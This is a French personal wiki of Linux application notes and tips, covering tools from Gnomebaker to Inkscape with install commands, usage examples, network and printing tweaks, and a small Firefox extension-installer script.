''Description: ''Gnomebaker permet de graver des CD et DVD, tous formats, de graver des images, des données, de la musique.

''Installation: ''[[via apt|apt://gnomebaker]]

''Note: ''pour KDE, voir K3B
''Nom de l'application'': ''@@color(red): Gnome-do @@''
Mots clef: lanceur, gnome
Liens: [[site officiel|http://do.davebsd.com/]]
<<<
''Description: ''Gnome-do est un lanceur d'applications pour Gnome fonctionnant exactement comme SynaPse ou KataPult pour kde.

''Installation: ''Tout d'abord ajouter les lignes suivantes dans le fichier //etc/apti/sources.list//
{{{
## GnomeDO
deb http://ppa.launchpad.net/rharding/ubuntu gutsy main
deb-src http://ppa.launchpad.net/rharding/ubuntu gutsy main
}}}
puis
{{{# aptitude install gnome-do}}}

''Utilisation: ''Accessible via alt-option + espace.
 ''Notes:'' Des plugins (par exemple pour la musique avec Rhythmbox sont disponibles [[ici|https://wiki.ubuntu.com/GnomeDo/Plugins]]
''Nom de l'application'': ''@@color(red): Gnome Specimen @@''
Mots clef: polices de caractèret
<<<
''Description: ''Un petit programme permettant de visionner les polices installées.

''Installation: ''[[via apt|apt://gnome-specimen]]
 
''Notes: ''
#voir aussi InstallerPolicesWindows, InstallerPolicesTrueType et InstallerFlopeeDePolices.
#une bonne adresse pour récupérer de jolies polices: http://www.fontstock.net (voir "Samuels hand" que j'aime bien) et http://www.dafont.com.
#pour installer la police officielle Ubuntu: PoliceUbuntu
''Nom de l'application'': ''@@color(red): Gnormalize @@''
Mots clef: audio, conversion, mp3, ogg, wav
<<<
''Description: ''Utilitaire permettant l'extraction de pistes audio ainsi que la conversion de divers format audio.

''Installation: ''{{{# aptitude install gnormalize}}}

''Notes: ''Voir aussi XcFa ou ConversionWMAmp3OGGwav pour les .wma
''Nom de l'application'': ''@@color(red): Gnump3d @@''
Mots clef: mp3, ogg, serveur, streaming
Liens: [[site|http://www.gnu.org/software/gnump3d ]]
<<<
''Description: ''Gnump3d est un serveur permettant le streaming de fichier audio (mp3, ogg) et vidéo. Il est conçu pour être simple d'utilisation - via une simple interface web - portable et sûr.

''Installation: ''{{{#aptitude install gnump3d}}}

''Configuration: ''
*Définir le répertoire:
Dans le fichier ///etc/gnump3d/gnump3d.conf//
Indiquer le chemin du répertoire contenant vos fichiers (à la bonne ligne)
{{{
root = /monrép/mp3
}}}
*Définir l'utilisateur par défaut (à la bonne ligne)
{{{
user = monUtilisateur
}}}
*Redémarrer gnump3d
{{{# /etc/init.d/gnump3d restart}}}
*Accéder au serveur
Dans votre butineur favori, entrer l'adresse
http://localhost:8888
*Protéger l'accès au serveur
Dans le répertoire contenant les fichiers audio, créer un fichier //.password// et y ajouter une liste d'utilisateurs avec leur mot de passe de la sorte
{{{
username1:password1
username2:password2
username3:password3
...
usernameN:passwordN
}}}

Voir le site pour plus de détails
''Nom de l'application'': ''@@color(red): Gnupg @@''
Mots clef: sécurité, chiffrement
Liens: [[site officiel|http://www.gnupg.org]], [[info|http://doc.ubuntu-fr.org/gnupg]]
<<<
''Description: ''GNU Privacy Guard sert à chiffrer des données, de manière symètrique ou non.

''Installation: ''$ sudo apt-get install gnupg2

''Utilisation: ''
*Exemple de chiffrement de fichier symétrique: (avec l'option -c pour chiffrer en symétrique)
pour chiffrer:
{{{$ gpg -c --cipher-algo=AES256 fichier.txt}}}
et pour déchiffrer:
{{{$ gpg fichier.txt}}}
*Exemple de chiffrement de fichier avec clé publique (nécessite d'avoir déjà accès à une clé publique, voir lien "info")
pour chiffrer:
{{{$ gpg --encrypt fichier.txt}}}
et pour déchiffrer:
{{{$ gpg --decrypt fichier.txt}}}

''Notes: ''
*Il existe plusieurs type d'interface graphique pour gpg, comme par exemple SeaHorse pour gnome et Kgpg pour KDE.
*On peut utiliser gpg avec mozilla-Thunderbird et l'extension Enigmail.
*Il exite également un utilitaire gpg windows, voir le [[site officiel|http://www.gnupg.org]].

''Nom de l'application'': ''@@color(red): Gok @@''
Mots clef: clavier virtuel, gnome
Liens: [[site officiel| http://www.gok.ca/ ]]
<<<
''Description: ''Gok est un clavier virtuel fonctionnant sous Gnome. Malheureusement QUE Gnome. 

''Installation: ''{{{# aptitude install gok}}}

''Notes: ''Voir aussi GtKeyboard rudimentaire mais fonctionnel.
Astuce: ''Visionner votre Agenda Google via le calendrier du panneau de Gnome ''
Mots clef: calendrier
Os: Linux/Gnome
Liens: [[source| http://www.cedynamix.fr/dotclear/index.php?post/2008/02/20/Consulter-votre-Google-Agenda-via-le-calendrier-de-Gnome ]]
<<<
Pour cela il suffit simplement d'excécuter la commande suivante :
{{{
$ /usr/lib/evolution-webcal/evolution-webcal URL_PRIVEE_ICAL
}}}
où //URL_PRIVEE_ICAL// est l'url privée ical de votre calendrier Google.
Astuce: ''Afficher le flux rss de son calendrier Google avec les événements à venir bien classés''
Mots clef: google calendrier
Os: Tous
<<<
Le lien magique est (il est nécessaire d'être connecté à google calendar):
https://www.google.com/calendar/feeds/default/private/basic?orderby=starttime&sortorder=ascending&futureevents=true&singleevents=true

Pour plus de renseignements, voir l'[[API Reference Guide|http://code.google.com/apis/calendar/reference.html]].
Astuce: ''Faire une recherche d'images seulement pour les visages''
Mots clef: Internet, google, images
Os: Tous
Liens: [[source 1| http://www.korben.info/des-visages-des-figures-avec-google-image.html ]], [[source 2|http://www.zorgloob.com/2007/05/google-images-fait-la-tte.asp]]
<<<
C'est le paramètre {{{&amp;imgtype=face}}} dans l'adresse qui permet cela.
Exemple:
{{{
http://images.google.fr/images?q=einstein&imgtype=face
}}}
A noté qu'avec {{{&imgtype=news}}}, on obtient alors uniquement des images affichées récemment dans la version américaine de Google News.
Astuce: ''Ajouter le lecteur de mp3 google sur votre page web''
Mots clef: internet, google
Os: Tous
<<<
Code html pour l'utilisation du player mp3 de google:
{{{
<iframe style="border: 1px solid rgb(170, 170, 170); width: 500px; height: 25px;" id="musicPlayer" src="http://mail.google.com/mail/html/audio.swf?audioUrl=http://webside.com/sound.mp3">    </iframe>
}}}
exemple:
<<<
<html>
 <p align=center>
<iframe style="border: 1px solid rgb(170, 170, 170); width: 500px; height: 25px;" id="musicPlayer" src="http://mail.google.com/mail/html/audio.swf?audioUrl=http://webside.com/sound.mp3">    </iframe>
</p>
</html>
''Nom de l'application'': ''@@color(red): Gspace @@''
Mots clef: Google, Firefox, filesystem, Internet
Liens: [[extension| https://addons.update.mozilla.org/fr/firefox/addon/1593 ]]
<<<
''Description: ''Gspace est une extension Firefox qui permet d'utiliser un compte gmail comme une unité de stockage en ligne, accessible depuis tout Firefox muni de cette extension.

''Installation: ''Via le site d'extension Firefox [[ici| https://addons.update.mozilla.org/fr/firefox/addon/1593 ]]

''Notes: ''Il existe également la possibiltié de transformer un compte gmail en un compte que l'on peut directement monter sur le système linux. Plus d'infos [[ici|http://en.wikipedia.org/wiki/GmailFS]]
''Nom de l'application'': ''@@color(red): Gourmet @@''
Mots clef: cuisine, recettes
Liens: [[site officiel| http://grecipe-manager.sourceforge.net/ ]]
<<<
''Description: ''Logiciel de gestion de recettes de cuisine très fonctionnel.

''Installation: ''//.deb// disponible sur le site officiel

''Notes: ''Il est également possible d'importer des recettes depuis un fichier texte ou de puis une page web.
''Nom de l'application'': ''@@color(red): Gpw @@''
Mots clef: sécurité, mot de passe
<<<
''Description: ''Gpw est un petit utilitaire en ligne de commandes permettant de générer des mots de passe aléatoires prononçables (en anglais)

''Installation: ''[[via apt|apt://gpw]]

''Utilisation: ''Le premier argument est le nombre de mots de passe et le deuxième leur longueur.
Ainsi
{{{
$ gpw 3 12
}}}
donne
{{{
mollsarander
uergenontans
urrestskingt
}}}

Pas mal si l'on manque d'imagination.
''Nom de l'application'': ''@@color(red): Greasemonkey @@''
Mots clef: Firefox, extension
Liens: [[site officiel|http://www.greasespot.net/ ]]
<<<
''Description: ''Greasemonkey est une extension firefox permettant de personnaliser le rendu des pages web dans votre navigateur

''Installation: ''via le site officiel

''Scripts utilisés: ''
|Extension|Fonction|
|[[Download Video|http://userscripts.org/scripts/show/9511]]|permet de télecharger les vidéos des sites youtube, google vidéo,...|
|[[Flickr EXIF Decorator|http://userscripts.org/scripts/show/9476]]|permet d'afficher les informations exif sur le site Flickr|
|[[Greased Lightbox|http://shiftingpixel.com/lightbox/]]|afficher les images des sites comme google image ou Flickr de manière agréable|
|[[LookItUp2| http://userscripts.org/scripts/show/9620]]|permet de faire des recherches sur les mots mis en évidence directement sur la page sur des sites comme Wikipédia ou autres dictionnaires|
|[[Google Face|http://userscripts.org/scripts/show/9613]]|ajoute une option de recherche de visages dans google image|
|[[GoogleSecure|http://zelut.org/projects/]]|permet de forcer la connexion sécurisée https pour les services google|
|[[FindScripts|http://userscripts.org/scripts/show/4031]]|permet d'afficher une liste de scripts greasemonkey utiles pour la page en cours|
|[[Ad Blocker pour lycos|http://userscripts.org/scripts/show/2063]]|permet d'éliminer les pub sur les sites lycos, y compris la barre latérale à droite|
|[[Google Anonymizer|http://userscripts.org/scripts/show/10448]]|permet de rendre les recherches googles anonymes|
''Nom de l'application'': ''@@color(red): Grip @@''
Mots clef: cd, encodage, mp3, player, ripper
Liens: [[site officiel|http://nostatic.org/grip/ ]]
<<<
''Description: ''Petit logiciel permettant de lire, mais surtout d'encoder des CD en différents formats (.mp3, .ogg, .flac). Il permet également de récupérer les informations nécessaires à la création des tags sur Internet.

''Installation: ''[[via apt|apt://grip]]

''Notes: ''pour l'encodage mp3, le paquet [[lame|apt://lame]] est nécessaire. Voir aussi SoundJuicer.
''Nom de l'application'': ''@@color(red): Gssmp @@''
Mots clef: leceur, musique, mp3
Liens: [[site officiel|http://gssmp.sourceforge.net/]]
<<<
''Description: '' Gssmp (Gnome Simple Stateful Music Player) est un lecteur audio minimaliste pour l'environnement Gnome.

''Installation: ''Paquet .deb disponible [[ici|http://gssmp.sourceforge.net/install.html]]

''Utilisation: ''Très, très simple!

''Notes: ''. Simple et efficace, mais je préfère AmaroK ou un truc genre MPG321, voir Mp3Blaster, pour les puristes commendistes.
''Nom de l'application'': ''@@color(red): Gtkeyboard @@''
Mots clef: claver virtuel
<<<
''Description: ''Gtkeyboard est un clavier virtuel qui malheureusement date un peu

''Installation: ''{{{# aptitude install gtkeyboard}}}

''Notes: ''voir aussi, pour gnome seulement, GoK
''Nom de l'application'': ''@@color(red): Gtkpod @@''
Mots clef: audio, ipod, gestion, mp3
Liens: [[site officiel| http://gtkpod.sourceforge.net ]]
<<<
''Description: ''Gtkpod est un logiciel permettant la gestion du baladeur ipod d'Apple

''Installation: ''{{{# aptitude install gtkpod}}}

''Notes: ''
*A noter que pour (K)ubuntu edgy, l'ipod n'est pas reconnu automatiquement.
*AmaroK permet également la gestion de l'ipod.
''Nom de l'application'': ''@@color(red): Gtk-recordmydesktop @@''
Mots clef: vidéo, capture d'écran, screencast
Liens: [[source| http://macsim.labolinux.net/index.php/2006/11/21/54-silence-on-tourne ]]
<<<
''Description: ''Gtk-recordmydesktop est un frontend graphique pour recordmydesktop, application permettant de faire des captures vidéos (avec son) en format .ogg

''Installation: ''[[recordmydesktop via apt|apt://recordmydesktop]], [[gtk-recordmydesktop via apt|apt://gtk-recordmydesktop]], pour kde [[krecordmydesktop via apt|apt://krecordmydesktop]]

''Notes: ''
*Pour lancer en ligne de commande:
{{{
$ recordmydesktop -o monFichier.ogv
}}}
*Pour convertir le fichier .ogg créer en .avi:
{{{
$ mencoder -idx votrefichier.ogg -ovc lavc -oac mp3lame -o votrefichier.avi
}}}
Et pour convertir en .flv (voir aussi FfmpegUsageCommand):
{{{
$ ffmpeg -i votrefichier.ogg -ar 22050 -ab 32 -f flv -s 320x240 votrefichier.flv
}}}

* manipulation avec ffmpeg2$ recordmydesktop -device hw:1,0 -o tuto.ogvtheora [[via apt|apt://ffmpeg2theora]] ([[source|http://www.respawner.fr/blog/index.php?post/2008/12/16/Exprimez-vous-en-vid%C3%A9o]]) (plus d'options avec la page man).
Vidéo en 800x600:
{{{
$ ffmpeg2theora monFichier.ogv -x 800 -y 600 -o monFichierPetit.ogv
}}}
Vidéo qui débute à la seconde 60 pour finir à la seconde 900:
{{{
$ ffmpeg2theora monFichier.ogv -e 60 -s 900 -o monFichierCourt.ogv
}}}
Ajouter des sous-titres (si vous en avez, il existe Gaupol par exemple pour en faire) à la vidéo:
{{{
$ ffmpeg2theora monFichier.ogv --subtitles mesSousTitres.srt -o monFichierAvecST.ogv
}}}
Editer les tags:
{{{
$ ffmpeg2theora monFichier.ogv --artist "Moi" --title "Mon petit screencast"
}}}
*Voir aussi: IstanBul (enregistrer en format .mpeg) et ByZanz (enregistrer en format .gif animé), XvidCap (enregistrer en format .avi)  et encore VlcScreenCast bien sympa.
''Nom de l'application'': ''@@color(red): Gufw @@''
Mots clef: firewall, sécurité, iptables
Liens: [[site officiel| http://gufw.tuxfamily.org]]
<<<
''Description: ''Gufw (Uncomplicated Firewall GUI) est une interface graphique pour gérer le pare-feu natif de linux: Netfilter et son interface iptables.

''Installation: '' Paquet .deb de la dernière version disponible sur le [[site officiel| http://gufw.tuxfamily.org]].

''Utilisation: ''Cette interface graphique est réellement intuitive: le pare-feu peut être activé/désactivé, accepter/interdire le trafic par un simple clic. De même, un bon nombre de services sont pré-configurés et très simple d'accès.

''Notes: ''Un bon tuto en anglais [[ici|http://www.howtoforge.com/firewall-management-with-gufw-on-ubuntu-8.04]]
''Nom de l'application'': ''@@color(red): Guvcview @@''
Mots clef: webcam, caméra, film, enregistrement
Liens: [[site officiel| http://guvcview.berlios.de/ ]]
<<<
''Description: ''Guvcview est un petit logiciel très efficace permettant l'enregistrement de la webcam et du son et la sauvegarde du résultat dans un fichier .avi. Plus simple que vlc.

''Installation: ''Paquet .deb sur le [[site officiel|http://developer.berlios.de/project/showfiles.php?group_id=8179]]. (Pour ubuntu hardy, choisir la version 0.9.0)

''Notes: ''VLC et Cheese permettent également l'enregistrement de la webcam.
''Nom de l'application'': ''@@color(red): Gwenview @@''
Mots clef: Image
<<<
''Description: ''Un des meilleurs logiciel de gestion de photos spécialement designé pour kde

''Installation: ''déjà dans kubuntu, sinon: {{{# aptitude install gwenview}}}

''Notes: ''Voir ausii ShowImg
Pour le redimensionnement d'images efficace (par lots également) voir KimKonqueror.
Astuce: ''Spécification de l'orinateur portable HP Pavilion dv2640ez''
Mots clef: matériel
Os: Tous
<<<
Intel Core 2 Duo processor T5250 (1.5 ghz)
HP Webcam
14.1" WXGA High Definition Bright View Widescreen Display (1280x800)
120GB (5400RPM) Hard Drive
2048MB DDR 2 SDRAM (2 Dimm)
Nvidia Ge Force 8400 M GS with 64MB DDR dedicated graphics memory
Light Scribe Super Multi 8X DVD +-RW with Double Layer Support
Inel PRO / Wireless 3945a/b/g 802.11 a/b/g WLAN & Bluetooth
5-in-1 Digital Media Reader
Express Card / 54 PC Card Slot
Expansion Port 3
6-Cell Lithium Ion battery
''Nom de l'application'': ''@@color(red): Httrack @@''
Mots clef: aspirateur de site Internet, miroir
Liens: [[site officiel|http://www.httrack.com]]
<<<
''Description: ''Aspirateur de sites Internet en ligne de commande très efficace.

''Installation: ''{{{# aptitude install httrack}}}

''Notes: ''
#en ligne de commande, pour faire un miroir d'un site, simplement: {{{$ wget -mk http://mon.site.net}}} ou {{{$ wget -rkpE http://mon.site.net}}}
#également disponible pour windows (avec interface graphique donc)
''Nom de l'application'': ''@@color(red): Hardinfo @@''
Mots clef: hardware liste
<<<
''Description: ''Hardinfo permet d'obtenir l'ensemble des informations sur le matériel de son ordinateur, il permet aussi de générer un rapport html ou text.

''Installation: ''{{{# aptitude install hardinfo}}}

''Notes: ''voir aussi CommandesInformationsMateriel
''Nom de l'application'': ''@@color(red): History @@''
Mots clef: bash, commande
Liens: [[source| http://www.math-linux.com/spip.php?article6 ]]
<<<
''Description: ''La commande history permet de visulaliser l’ensemble des commandes que vous avez saisies dans votre console.

''Installation: ''D'office

''Utilisation: ''
Exemple:
{{{
$ history
    4  cat base.tex
    5  ls -al
    6  cd Desktop/
    7  cd Work/
    8  history
    9  pwd
   10  history
}}}
Utilisation:
|bgcolor(lightyellow):$ !9|bgcolor(lightyellow):commande numéro 9, ici pwd |
|bgcolor(lightyellow):$ !!|bgcolor(lightyellow):dernière commande |
|bgcolor(lightyellow):$ !+lettre|bgcolor(lightyellow):dernière commande commencent par cette lettre|
|bgcolor(lightyellow):$ !cmd|bgcolor(lightyellow):dernière commande commençant par cmd|
|bgcolor(lightyellow):$ !cmd:p|bgcolor(lightyellow):dernière commande commençant par cmd, sans exécution|
|bgcolor(lightyellow):$ !cmd:$|bgcolor(lightyellow):dernier mot de la dernière commande commençant par cmd |
|bgcolor(lightyellow):$ !*|bgcolor(lightyellow):dernière commande, sans le premier mot |
|bgcolor(lightyellow):$ !^, !$|bgcolor(lightyellow):premier, respectivement dernier, argument |

Pour effacer l’historique.
{{{
$ history -c
}}}
''Nom de l'application'': ''@@color(red): Hugin @@''
Mots clef: graphisme, panoramas
Liens: [[site officiel| http://hugin.sourceforge.net/ ]] (avec tutos)
<<<
''Description: ''Hugin est un logiciel permettant, à partir de plusieurs photographies, de créer des panoramas.

''Installation: ''{{{# apt-get install hugin}}}
''Nom de l'application'': ''@@color(red): Iconv @@''
Mots clef: encodage, fichier
<<<
''Description: ''iconv est un utilitaire en ligne de commande permettant de convertir l'encodage d'un fichier

''Installation: ''{{{apt-get install iconv}}}

''Utilisation: ''
{{{
$ iconv -f utf-8 -t LATIN1
}}}
pour avoir la liste des encodages disponibles
{{{
$ iconv --list
}}}
''Note: '' voir également ReCode, YuDit et ConvMV
''Quelques informations''
<<tagging InfoX>>
Astuce: ''Assigner une adresse ip fixe''
Mots clef: réseau, ip
Os: linux
<<<
Editer le fichier ///etc/network/interfaces// et modifier l'interface choisie de la sorte:
{{{
# The loopback network interface
auto lo
iface lo inet loopback

# This is a list of hotpluggable network interfaces.
# They will be activated automatically by the hotplug subsystem.
mapping hotplug
script grep
map eth0

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.2
netmask 255.255.255.0
gateway 192.168.1.1
}}}
Ensuite redémarrer l'interface réseau avec:
{{{
$ /etc/init.d/networking restart
}}}
<<<
''Nom de l'application'': ''@@color(red): Id3ed @@''
Mots clef: mp3, tags
<<<
''Description: ''Id3ed est un logiciel en ligne de commande permettant de visualiser et d'éditer les tags mp3

''Installation: ''{{{# aptitude install id3ed}}}

''Utilisation: ''pour simplement visualiser les tags:
{{{
$ id3ed -i monFichier.mp3
}}}

''Notes: ''Pour d'autres programmes en ligne de commande, voir TagMP3MiseAJour ou [[ici|http://tldp.org/HOWTO/MP3-HOWTO-13.html]]. Et pour un utilitaire graphique au poil: EasyTag
''Nom de l'application'': ''@@color(red): Iftop @@''
Mots clef: réseau, download
<<<
''Description: '' Iftop permet, comme JnetTop mais en mieux (histogrammes),  d'afficher en console la bande passante utilisée avec un détail par les différents processus (combien pour le mail, le navigateur, le client ftp etc).

''Installation: ''{{{apt-get install iftop}}}
''Nom de l'application'': ''@@color(red): Imagemagick @@''
Mots clef: graphique, image, utilitaire
Liens: [[site officiel|http://www.imagemagick.org ]], [[très bon tuto|http://www.cit.gu.edu.au/~anthony/graphics/imagick6/]]
<<<
''Description: ''Imagemagick est un ensemble de programmes permettant la manipulation en ligne de commande d'une multitude de types de fichiers images (JPEG, TIFF, Photo CD, PBM, XPM, ...) 

''Installation: ''{{{# aptitude install imagemagick}}}

''Notes: ''Le tuto en lien vaut le détour!
Exemples d'utilisation: 
- ShellScreenshot
- RedimensionnerDesImagesParLots
- KimKonqueror (utilisation pratique dans Konqueror)
- ConvertirImageVersPDF
- WebComicFondecran (dans un script)
- RedimensionnementJPGPourWEB (dans un script)
- FiligranePhoto
- Texte2Image
Astuce: ''Imprimer un fichier ou le résultat d'une commande depuis une console''
Mots clef: console, imprimer, print
Os: Linux
<<<
A noter que l'impression sera effectuée sur l'imprimante définie par défaut.
La commande magique (avec l'ajout d'une marge supérieure):
{{{
$ lp -o page-top=72 /etc/fstab
}}}
''Note: ''pour plus d'info voir la page man de la commande lp.
Astuce: ''Comment utiliser l'interface Kprinter pour l'impression dans les applications FireFox Thunderbird et OpenOffice''
Mots clef: bureautique, impression
Os: Kubuntu
Liens: [[source 1| http://antav.free.fr/index.php?2007/03/09/14-integrer-kprinter-avec-certaines-applications-non-kde ]], [[source 2| http://www.cryptos.ch/article.php3?id_article=64]]
<<<
Cette astuce est particulièrement utile pour pouvoir transformer une page web ou un email en fichier pdf.
* Pour Open Office 2
ouvrir le gestionnaire d'imprimantes d'open office:
{{{$ cd /usr/lib/openoffice/program/}}}   (pour Open Office 2.0)
{{{$ cd /opt/openoffice.org2.1/program/}}}    (pour Open Office 2.1)
{{{$ ./spadmin}}}
#Cliquer sur Nouvelle imprimante
#Sélectionner Connecter un convertisseur PDF
#Sélectionner Pilote par défaut
#En ligne de commande, saisir kprinter
#Indiquer un nom pour ce convertisseur Kprinter par exemple et cliquer sur Créer. Et voilà!
* Pour Firefox
# Ouvrir Firefox et taper dans la barre d'adresse : //about:config//
# Dans la ligne "filtre" saisir {{{printer_list}}}
# La clé "print.printer_list" apparaît dans la fenêtre. Cliquez droit et choisissez "modifier", entrer un nom de votre choix, ici "kprinter".
# Ouvrez un autre onglet (car cette page de config n’est pas imprimable) et tapez Ctrl+P.
# Dans la fenêtre d’impression qui s’ouvre sélectionnez l’imprimante que vous avez créée et qui se nomme: "Postßcript/kprinter" puis "propriétés" et remplacer la ligne de commande par: {{{kprinter --stdin}}}
* Pour Thunderbird
# ouvrir Thunderbird
# Menu Edition et sélectionner Préférences
# Choisir Editeur de configuration pour accéder au about:config de Thunderbird.
# Pour le reste, entrez, modifiez les mêmes valeurs que pour Firefox.

''Nom de l'application'': ''@@color(red): Infolister @@''
Mots clef: Internet, plugin FireFox
Liens: [[site officiel|http://mozilla.doslash.org/infolister/ ]]
<<<
''Description: ''Infolister est une extension firefox qui permet de créer et d'exporter l'ensemble des extensions, thèmes et plugins installés sur votre navigateur. De plus, Infolister offre un système de templates de générations des pages exportées (plus de détail [[ici|http://mozilla.doslash.org/infolister/templates/]]). Ainsi grâce au template ci-dessous et du plugin InstallFirefoxExt la page ExtensionsFirefoxInstallees permet une réinstallation hyper-rapide de toutes les extensions. C'est pas beau ça ?


''Installation: ''via [[Firefox add-ons|https://addons.mozilla.org/firefox/447/]], ou grâce à ExtensionsFirefoxInstallees

''Notes: ''Voilà le fichier .template utilisé
{{{
text/html;Simple HTML;<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

  <title>Mes informations sur %app%</title>

  <!--link rel="stylesheet" type="text/css" href="ExtensionsList.css"-->

</head>



<body>

[[<div class="lastupd">

<span class="hdr">Dernière mise à  jour:</span> %lastupd%

</div>

]][[<div class="useragent">

<span class="hdr">User Agent:</span> %useragent%

</div>]]

[[<div class="extensions">

<h3><span class="hdr">Extensions</span> (activées: %enabled_extensions_count%, désactivées: %disabled_extensions_count%):</h3>



<ul>

<form name="form" onsubmit="return false" action="">

{{extension: 

<input name="%xpiLink%" value="%name%" type="checkbox"><a href="%homepageURL%" title="%description%" target="_blank" class="msg-data">%name% %version% %disabled-text%</a>

<BR>

}}

<input value="Installer" onclick="installPackages(this.form)" type="submit">

<BR>

</ul>



</div>]]

[[<div class="themes">

<h3><span class="hdr">Thèmes</span> (%themes_count%):</h3>

<ul>

{{theme: <li><a href="%homepageURL%">%name%</a> %version% %selected-text%</li>

}}

</ul>

</div>]]

[[<div class="plugins">

<h3><span class="hdr">Plugins</span> (%plugins_count%):</h3>

<ul>

{{plugin: <li>%name%</li>

}}

</ul>

</div>]]

</body>

</html>

}}}
<<tagging InfoX>>
''Nom de l'application'': ''@@color(red): Inkscape @@''
Mots clef: graphisme
Liens: [[site officiel|http://www.inkscape.org/?lang=fr ]]
<<<
''Description: ''Inkscape est un logiciel libre relativement simple d'édition de graphismes vectoriels permettant la création de plans, dessins 2D.

''Installation: ''{{{apt-get install inkscape}}}

''Notes: ''Ce logiciel ne permet pas, à proprement parlé, de graphisme 3D.
<<<
/***
|''Name:''|Install Firefox Extension|
|''Version:''|0.1 (2007-03-22)|
|''Source:''| |
|''Author:''|Bartux|
|''Licence:''|[[BSD open source license]]|
|''TiddlyWiki:''|2.1.3|
***/

// Plugin:
var numxpi;
var numstatus;
var formElement;
var xpiList;
var statusList;

function statusCallback(url, status) {
  var k;
   for (k in xpiList) {
        if ( url.indexOf(xpiList[k]) != -1 ) {
            statusList[k] = status;
            numstatus++;
            break;
        }
    }
  if (numstatus == numxpi) {
        for (k in xpiList) {
            var j = statusList[k];
            switch(j) {
              case 999:
              case 0:
                 formElement.checked = false;
                 break;
              default:
                 break;
            }
        }
     }
  }

function installPackages(form) {
    numxpi = 0;
    numstatus = 0;
    xpiList = new Object;
    statusList = new Object;
    
    for (var i = 0; i < form.elements.length; i++) {
      formElement = form.elements[i];
        if (formElement.checked) {
          xpiList[formElement.value] = formElement.name;
          statusList[i] = null;
          numxpi++;
        }
    }
    
    if (!InstallTrigger.updateEnabled()) {
       alert( "Activez l'option d'installation !" );
       return;
    }
    
    if (form.elements.length > 0) {
      InstallTrigger.install(xpiList, statusCallback);
    }
}
Astuce: ''Installer une application à partir d'un fichier .rpm''
Mots clef: installation, rpm
Os:Ubuntu/Debian
Liens:[[alien package|http://kitenet.net/~joey/code/alien.html]]
<<<
L'application alien permet d'installer un programme à partir d'un fichier rpm lorsqu'aucun .deb n'est disponible.
Tout d'abord il faut installer alien
{{{
sudo apt-get install alien
}}}
Puis
{{{
sudo alien -k name-of-rpm-file.rpm
}}}
''Attention!'' //Alien should not be used to replace important system packages, like sysvinit, shared libraries, or other things that are essential for the functioning of your system. Many of these packages are set up differently by Debian and Red Hat, and packages from the different distributions cannot be used interchangably. In general, if you can’t uninstall the package without breaking your system, don’t try to replace it with an alien version.//
<<<
Astuce: ''Installer internet explorer 6 et flash 9''
Mots clef: Internet, wine, windows
Os: Linux
Liens: [[source| http://www.nuxo.net/article-954-installer-ie6--ie5-sous-linux.html ]] par Tali, [[IEs4|http://www.tatanka.com.br/ies4linux/index-en.html]]
<<<
Installer ie6, ie5 sous Linux:

IES 4 Linux est une solution complète qui vous permet d'installer facilement les versions 6,5.5,5 d'Internet Exploreur avec le plugin Flash player 9.
Il faut tout d'abord installer Wine et Cabextract par exemple via {{{$ un apt-get install wine cabextract}}}).

Ensuite récupérer l'archive sur le site officiel [[ici|http://www.tatanka.com.br/ies4linux/download.html]] et on décompresse le tout (via par exemple {{{$ tar zxvf fichier.tar.gz}}}).

Il vous suffit alors de lancer le script d'installation comme ceci :
{{{~/Desktop/ies4linux-2.0.1 $ ./ies4linux}}}
Lors de l'installation vous devrez répondre à quelques questions. 
Pour lancer votre navigateur, tapez ie suivit de la version du navigateur que vous voulez lancer :
{{{/home/tali/bin/ie6}}}
{{{/home/tali/bin/ie55}}}
{{{/home/tali/bin/ie5}}}
<<<
Astuce: ''Installation de GNU/Linux sur un Dell XPS m1330''
Mots clef: distribution, dell, xps, m1330 ubuntu
Os: Ubuntu
Liens: [Bon tuto|http://www.atlas95.com/blog/2007/10/02/installation-tweaking-dell-xps-1330-avec-ubuntu-gusty/]]
<<<
*''Installation des pilotes nvidia''
Normalement proposés directement après l'installation (ne nécessite que l'accès à Internet), sinon:
{{{
# aptitude install nvidia-glx-new
# nvidia-xconfig
# nvidia-xconfig –no-logo
}}}

*''Activité trop importante du disque dur'' (sur Ubuntu Hardy surtout)
Voir ReduireActiviteDisqueDur
Astuce: ''Installer la disposition clavier Dvorak Bépo''
Mots clef: clavier, ergonomie
Os: Linux
<<<
''Petit Historique''
La disposition Dvorak (en anglais Dvorak Simplified Keyboard ou DSK) est une disposition des touches de clavier optimisée pour la saisie de l’anglais et mise au point par August Dvorak (en 1932, après dix années de recherches) et William Dealey. Une disposition des touches optimisée pour la langue française, la disposition ~Dvorak-fr, est disponible depuis 2002. Une disposition alternative et établie de manière collaborative a été créer et en est maintenant à la version 1.0RC2. C'est cette dernière que l'on va utiliser ici. (Pour plus d'informations historiques, voir la [[page Wikipedia|http://fr.wikipedia.org/wiki/Disposition_Dvorak#Dvorak-fr]]. Le site [[clavier-dvorak.org|http://www.clavier-dvorak.org]] regorge d'information pour tous les systèmes.

''Installation''
([[source dvorak.org|http://www.clavier-dvorak.org/wiki/Debian_Ubuntu_:_Installation]])
*Ajouter au fichier ///etc/apt/sources.list// une des lignes suivantes:
{{{
deb http://download.tuxfamily.org/dvorak/debian gutsy main
deb http://download.tuxfamily.org/dvorak/debian hardy main
deb http://download.tuxfamily.org/dvorak/debian intrepid main
deb http://download.tuxfamily.org/dvorak/debian jaunty main
}}}
et lancer
{{{
$ wget http://download.tuxfamily.org/dvorak/debian/key.gpg -O- | sudo apt-key add -
}}}
puis Installer les paquets nécessaires
{{{
# aptitude update && aptitude install xkb-data libx11-data
}}}
*Configurer Gnome ([[source dvorak.org|http://www.clavier-dvorak.org/wiki/Utilisation_avec_Gnome]])
Suivre dans le menu Système: 
→ Préférences → Clavier → onglet Agencements → bouton Ajouter…
Sélectionner dans la section «France»: Bepo, ergonomic, Dvorak way, v1.0rc2
Si on le désir on peut définir la nouvelle disposition comme disposition par défaut.
Dans l’onglet «Options de l’agencement», il est possible de définir un raccourci clavier pour basculer d'une disposition à l'autre.
Finalement il est possible d'ajouter une applet pour passer rapidement d’une disposition à une autre et savoir où l'on en est:
clic-droit sur un panel → Ajouter au tableau de bord → Indicateur de claviers 

''Configuration de l'éditeur ViM''
Voir [[dvorag.org|http://www.clavier-dvorak.org/wiki/Vim]]

''Configuration de vimperator pour FireFox''
